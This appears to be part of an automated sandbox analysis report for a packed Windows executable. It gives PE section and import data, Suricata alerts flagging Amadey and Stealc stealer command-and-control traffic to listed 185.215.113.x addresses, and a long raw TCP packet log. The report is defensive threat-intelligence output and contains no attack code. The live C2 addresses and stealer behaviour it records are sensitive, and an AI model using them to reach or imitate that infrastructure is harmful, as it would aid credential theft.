[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x249000	90e4d03acf05a6ad58ad41bdb3f0dfdc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1f0	0x200	9536d2b3a2eda870e2407104c9596139	False	0.576171875	data	5.048164681214948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cmcjmvep	0x24c000	0x2a5000	0x2a4800	e8f0ab4ac5eb721ac919261867b2d78f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nkslzviw	0x4f1000	0x1000	0x400	335c7e00cd728995117b53a63a909518	False	0.8212890625	data	6.331035682920858	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4f2000	0x3000	0x2200	297f2c454c78e57e44aa048bf2434970	False	0.06089154411764706	DOS executable (COM)	0.7912140009768048	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x24a058	0x198	ASCII text, with CRLF line terminators			0.5833333333333334

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-07T08:42:58.105471+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49977	TCP
2024-12-07T08:43:06.028448+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-07T08:43:06.474080+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-07T08:43:06.595282+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-12-07T08:43:06.919779+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-07T08:43:07.044182+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-12-07T08:43:08.394947+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-07T08:43:09.075855+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-07T08:43:35.538522+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49759	185.215.113.206	80	TCP
2024-12-07T08:43:37.402416+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49759	185.215.113.206	80	TCP
2024-12-07T08:43:38.686671+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49759	185.215.113.206	80	TCP
2024-12-07T08:43:39.811379+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49759	185.215.113.206	80	TCP
2024-12-07T08:43:43.509737+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49759	185.215.113.206	80	TCP
2024-12-07T08:43:44.552984+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49759	185.215.113.206	80	TCP
2024-12-07T08:43:50.033992+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49795	185.215.113.16	80	TCP
2024-12-07T08:45:05.771398+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49971	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 7, 2024 08:42:58.105470896 CET	49675	443	192.168.2.5	23.1.237.91
Dec 7, 2024 08:42:58.105545044 CET	49674	443	192.168.2.5	23.1.237.91
Dec 7, 2024 08:42:58.199218035 CET	49673	443	192.168.2.5	23.1.237.91
Dec 7, 2024 08:43:04.103946924 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:04.224056959 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:04.224174976 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:04.273679972 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:04.394592047 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:05.565963984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:05.566135883 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:05.569607973 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:05.689343929 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.024842024 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.028448105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:06.030121088 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:06.149842024 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.473995924 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.474072933 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.474080086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:06.474112034 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:06.475544930 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:06.595282078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.919698954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.919725895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.919737101 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.919779062 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:06.919862986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.919864893 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:06.919903994 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:06.919949055 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.919960976 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.920002937 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:06.920070887 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:06.920111895 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:06.924432993 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:07.044182062 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:07.368995905 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:07.369076967 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:07.439600945 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:07.439677954 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:07.559772968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:07.559802055 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:07.559838057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:07.559848070 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:07.559959888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:07.559968948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:07.560043097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:07.714835882 CET	49674	443	192.168.2.5	23.1.237.91
Dec 7, 2024 08:43:07.714838028 CET	49675	443	192.168.2.5	23.1.237.91
Dec 7, 2024 08:43:07.808604956 CET	49673	443	192.168.2.5	23.1.237.91
Dec 7, 2024 08:43:08.394866943 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:08.394947052 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:08.633466959 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:08.753329992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.075722933 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.075855017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.075865984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.075910091 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.079910040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.079962969 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.080004930 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.080051899 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.088387966 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.088440895 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.088478088 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.088526011 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.096678019 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.096730947 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.096771002 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.096808910 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.105142117 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.105194092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.105263948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.105310917 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.113647938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.113707066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.113709927 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.113768101 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.205363989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.205430031 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.205457926 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.205487013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.211386919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.211400032 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.211448908 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.214910030 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.214960098 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.215281010 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.215337038 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.223598003 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.223648071 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.223727942 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.223773003 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.232031107 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.232079983 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.232218027 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.232275009 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.267921925 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.267937899 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.268022060 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.272073984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.272136927 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.272250891 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.272295952 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.280366898 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.280443907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.280541897 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.280595064 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.288865089 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.288918972 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.289020061 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.289072990 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.298504114 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.298559904 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.298640013 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.298686981 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.305516005 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.305571079 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.305691957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.305733919 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.314019918 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.314099073 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.335196018 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.335280895 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.335474014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.335521936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.338546991 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.338596106 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.340166092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.340215921 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.345411062 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.345490932 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.345561028 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.345606089 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.352114916 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.352184057 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.352188110 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.352226973 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.358941078 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.358998060 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.397310972 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.397383928 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.397439957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.397483110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.400435925 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.400480032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.400599003 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.400643110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.406845093 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.406893969 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.406985044 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.407023907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.413106918 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.413121939 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.413175106 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.419558048 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.419611931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.419699907 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.419750929 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.425618887 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.425668001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.425734997 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.425776005 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.431874990 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.431960106 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.431973934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.432029009 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.438010931 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.438074112 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.438095093 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.438133955 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.444122076 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.444192886 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.444199085 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.444241047 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.459767103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.459821939 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.459929943 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.461947918 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.461983919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.462002039 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.462028980 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.466257095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.466305971 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.466346025 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.466388941 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.470628977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.470674992 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.470700026 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.470737934 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.474745989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.474806070 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.474843979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.474884987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.478693008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.478748083 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.478787899 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.478820086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.482686043 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.482767105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.482798100 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.482848883 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.486565113 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.486639977 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.486664057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.486707926 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.490339994 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.490403891 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.490417957 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.490446091 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.527111053 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.527164936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.527208090 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.527251005 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.529036999 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.529086113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.529223919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.529266119 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.532856941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.532902956 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.532975912 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.533015966 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.536725998 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.536773920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.536833048 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.536875963 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.540540934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.540584087 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.540636063 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.540684938 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.544409990 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.544473886 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.544501066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.544538975 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.548271894 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.548346996 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.589463949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.589531898 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.589576960 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.589617968 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.590939999 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.590984106 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.591063976 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.591098070 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.593926907 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.593972921 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.594046116 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.594084978 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.596915960 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.596976995 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.597028971 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.597076893 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.599904060 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.599972010 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.600028038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.600073099 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.602865934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.602914095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.603029013 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.603074074 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.605817080 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.605866909 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.605890989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.605940104 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.608721972 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.608771086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.608797073 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.608840942 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.611659050 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.611713886 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.611716986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.611761093 CET	49704	80	192.168.2.5	185.215.113.206
